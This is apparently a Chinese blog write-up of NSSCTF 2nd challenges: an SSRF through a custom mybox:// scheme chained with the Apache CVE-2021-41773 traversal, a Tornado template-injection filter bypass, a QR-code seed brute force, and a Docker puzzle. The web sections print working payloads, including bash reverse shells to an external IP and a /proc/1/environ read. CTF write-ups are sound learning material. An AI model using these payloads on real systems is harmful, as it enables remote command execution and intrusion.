NSSCTF 2nd

NSSCTF 2nd

WEB

MyBox(revenge)

给了一个url的参数,可以利用file读文件

?url=file:///etc/passwd

img

ban了/proc/1/environ/start.sh等非预期

/app/app.py拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from flask import Flask, request, redirect
import requests, socket, struct
from urllib import parse
app = Flask(__name__)

@app.route('/')
def index():
if not request.args.get('url'):
return redirect('/?url=dosth')
url = request.args.get('url')
if url.startswith('file://'):
if 'proc' in url or 'flag' in url:
return 'no!'
with open(url[7:], 'r') as f:
data = f.read()
if url[7:] == '/app/app.py':
return data
if 'NSSCTF' in data:
return 'no!'
return data
elif url.startswith('http://localhost/'):
return requests.get(url).text
elif url.startswith('mybox://127.0.0.1:'):
port, cont ent = url[18:].split('/_', maxsplit=1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect(('127.0.0.1', int(port)))
s.send(parse.unquote(content).encode())
res = b''
while 1:
data = s.recv(1024)
if data:
res += data
else:
break
return res
return ''

app.run('0.0.0.0', 827)

重点看23行elif url.startswith('mybox://127.0.0.1:'):,建立了一个到127.0.0.1上的指定端口(827)的TCP的socket通信

相当于一个gopher协议的替换,即把gopher://127.0.0.1改成mybox://127.0.01

然后目的很明显了,gopher打ssrf

1
2
3
4
5
6
7
8
9
10
import urllib.parse
test ="""GET /flag HTTP/1.1
Host: 127.0.0.1:80

"""
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = 'mybox://127.0.0.1:80/'+'_'+new
#注意两次url编码
print(urllib.parse.quote(result))

以为flag在当前目录,回显404,但是这里有一个关键,Apache版本为2.4.49,以前复现过的CVE-2021-41773,可以目录穿越

img

CVE-2021-41773的payload:/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh

1
2
3
4
5
6
7
8
9
10
11
12
13
import urllib.parse
test ="""GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 51

bash -c "bash -i &> /dev/tcp/1.12.251.62/4567 0>&1"
"""
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = 'mybox://127.0.0.1:80/'+'_'+new
print(urllib.parse.quote(result))
#mybox%3A//127.0.0.1%3A80/_GET%2520/cgi-bin/.%25252e/.%25252e/.%25252e/.%25252e/.%25252e/bin/sh%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252051%250D%250A%250D%250Abash%2520-c%2520%2522bash%2520-i%2520%2526%253E%2520/dev/tcp/1.12.251.62/4567%25200%253E%25261%2522%250D%250A
img
1
2
3
daemon@d22eb7fdd4144138:/bin$ cat /nevvvvvver_f1nd_m3_the_t3ue_flag

NSSCTF{dfaa40bc-dab6-433a-a970-ec0e3b5ba084}

MyHurricane

参考https://blog.csdn.net/miuzzx/article/details/123329244

开局源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import tornado.ioloop
import tornado.web
import os

BASE_DIR = os.path.dirname(__file__)

def waf(data):
bl = ['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}']
for c in bl:
if c in data:
return False
for chunk in data.split():
for c in chunk:
if not (31 < ord(c) < 128):
return False
return True

class IndexHandler(tornado.web.RequestHandler):
def get(self):
with open(__file__, 'r') as f:
self.finish(f.read())
def post(self):
data = self.get_argument("ssti")
if waf(data):
with open('1.html', 'w') as f:
f.write(f"""<html>
<head></head>
<body style="font-size: 30px;">{data}</body></html>
""")
f.flush()
self.render('1.html')
else:
self.finish('no no no')

if __name__ == "__main__":
app = tornado.web.Application([
(r"/", IndexHandler),
], compiled_template_cache=False)
app.listen(827)
tornado.ioloop.IOLoop.current().start()

tornado ssti,过滤了['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}']

过滤了{{}}{%%}代替

过滤了and和or其实就是不能用handlerimport

这里利用了_tt_utf8进行变量覆盖,set _tt_utf8=eval

原理

img

过滤了单引号和双引号,可能要加另一个变量替换(即\(a(\)b)&$b=""),这里利用request.body_arguments[request.method],返回的变量名为GETPOST...

最后payload:

1
2
3
4
5
ssti={% raw request.body_arguments[request.method][0]%0a    _tt_utf8 = eval%}&POST=__import__('os').popen("bash -c 'bash -i >%26 /dev/tcp/1.12.251.62/4567 <%261'")
ssti={% set _tt_utf8 =eval %}{% raw request.body_arguments[request.method][0] %}&POST=__import__('os').popen("bash -c 'bash -i >%26 /dev/tcp/1.12.251.62/4567 0<%261'")

#非预期
ssti={% include /proc/1/environ %}
img
img

flag在env中

MISC

gift_in_qrcode(revenge)

给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import qrcode
from PIL import Image
from random import randrange, getrandbits, seed
import os
import base64

flag = os.getenv("FLAG")
if flag == None:
flag = "flag{test}"

secret_seed = randrange(1, 1000)
seed(secret_seed)
reveal = []
for i in range(20):
reveal.append(str(getrandbits(8)))
target = getrandbits(8)
reveal = ",".join(reveal)

img_qrcode = qrcode.make(reveal)
img_qrcode = img_qrcode.crop((35, 35, img_qrcode.size[0] - 35, img_qrcode.size[1] - 35))

offset, delta, rate = 50, 3, 5
img_qrcode = img_qrcode.resize(
(int(img_qrcode.size[0] / rate), int(img_qrcode.size[1] / rate)), Image.LANCZOS
)
img_out = Image.new("RGB", img_qrcode.size)
for y in range(img_qrcode.size[1]):
for x in range(img_qrcode.size[0]):
pixel_qrcode = img_qrcode.getpixel((x, y))
if pixel_qrcode == 255:
img_out.putpixel(
(x, y),
(
randrange(offset, offset + delta),
randrange(offset, offset + delta),
randrange(offset, offset + delta),
),
)
else:
img_out.putpixel(
(x, y),
(
randrange(offset - delta, offset),
randrange(offset - delta, offset),
randrange(offset - delta, offset),
),
)

img_out.save("qrcode.png")
with open("qrcode.png", "rb") as f:
data = f.read()
print("This my gift:")
print(base64.b64encode(data).decode(), "\n")

ans = input("What's your answer:")
if ans == str(target):
print(flag)
else:
print("No no no!")

题目大致思路:server端给出一个经过像素扰动的qrcode(范围offset, delta, rate = 50, 3, 5)的base64码,这个qrcode扫出来是一个有20个数字的数组,这些数字是由seed随机产生的,服务端接收1个数字,如果这个数字是qrcode里的数组中的第21个,则输出flag

思路不是很难,因为secret_seed = randrange(1, 1000),产生随机数的seed给了范围,所以可以爆破第21个数字。主要难点在于像素扰动扫码以及爆破数字

学习一下wp,使用np.where还原,pyzbar识别二维码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import cv2
import base64
import numpy as np
from pyzbar import pyzbar
from random import getrandbits, seed

def getTarget(rec):
# 1.读取二维码
img_bytes = base64.b64decode(rec)
img_array = np.frombuffer(img_bytes, np.uint8)
img = cv2.imdecode(img_array, cv2.IMREAD_GRAYSCALE)

# 2.还原二维码
img = np.where(img < 50, 0, 255)
# cv2.imshow("img", img.astype(np.uint8))

# 3.扫描二维码解析
lis = list(map(int, pyzbar.decode(img)[0].data.decode().split(",")))
print(lis)

# 4.爆破Target
for i in range(1, 1000):
seed(i)
if all(getrandbits(8) == lis[j] for j in range(20)):
return str(getrandbits(8))

if __name__ == '__main__':
rec = b'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'
target = getTarget(rec)
print(target)
#[227, 19, 102, 10, 150, 150, 220, 227, 58, 162, 132, 38, 149, 137, 242, 205, 8, 7, 17, 200]
#81
img

Magic Docker

docker run randark/nssctf-round15-magic-docker

pull下来后提示need secret

img

bash进入就行

img

/app下有main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import click
import random
import sys
import os
from time import sleep

@click.command()
@click.option('--secret',help='default=none,between 0 and 100',type=int)
def func(secret):
if str(secret)==str(answer):
print("Congratulations!")
print("But where is your flag? (=‵ω′=)")
else:
print("No! You don't know anything about docker!")
print("How dare you! ")

BANNER="""
███╗ ██╗███████╗███████╗ ██████╗████████╗███████╗ ██████╗ ███╗ ██╗██████╗
████╗ ██║██╔════╝██╔════╝██╔════╝╚══██╔══╝██╔════╝ ╚════██╗████╗ ██║██╔══██╗
██╔██╗ ██║███████╗███████╗██║ ██║ █████╗ █████╔╝██╔██╗ ██║██║ ██║
██║╚██╗██║╚════██║╚════██║██║ ██║ ██╔══╝ ██╔═══╝ ██║╚██╗██║██║ ██║
██║ ╚████║███████║███████║╚██████╗ ██║ ██║ ███████╗██║ ╚████║██████╔╝
╚═╝ ╚═══╝╚══════╝╚══════╝ ╚═════╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝╚═════╝

███╗ ███╗ █████╗ ██████╗ ██╗ ██████╗ ██████╗ ██████╗ ██████╗██╗ ██╗███████╗██████╗
████╗ ████║██╔══██╗██╔════╝ ██║██╔════╝ ██╔══██╗██╔═══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗
██╔████╔██║███████║██║ ███╗██║██║ ██║ ██║██║ ██║██║ █████╔╝ █████╗ ██████╔╝
██║╚██╔╝██║██╔══██║██║ ██║██║██║ ██║ ██║██║ ██║██║ ██╔═██╗ ██╔══╝ ██╔══██╗
██║ ╚═╝ ██║██║ ██║╚██████╔╝██║╚██████╗ ██████╔╝╚██████╔╝╚██████╗██║ ██╗███████╗██║ ██║
╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝


"""

if __name__ == "__main__":
os.system("rm -f /flag")
print(BANNER)
random.seed("NSSCTF 2nd")
answer=random.randint(0,100)
if len(sys.argv)<2:
print("You need to give me the secret!")
else:
func()

可以看到启动docker后就会删掉flag,但是这前面func好像没什么用


NSSCTF 2nd
http://example.com/2023/09/18/NSSCTF 2nd/
作者
dddkia
发布于
2023年9月18日
许可协议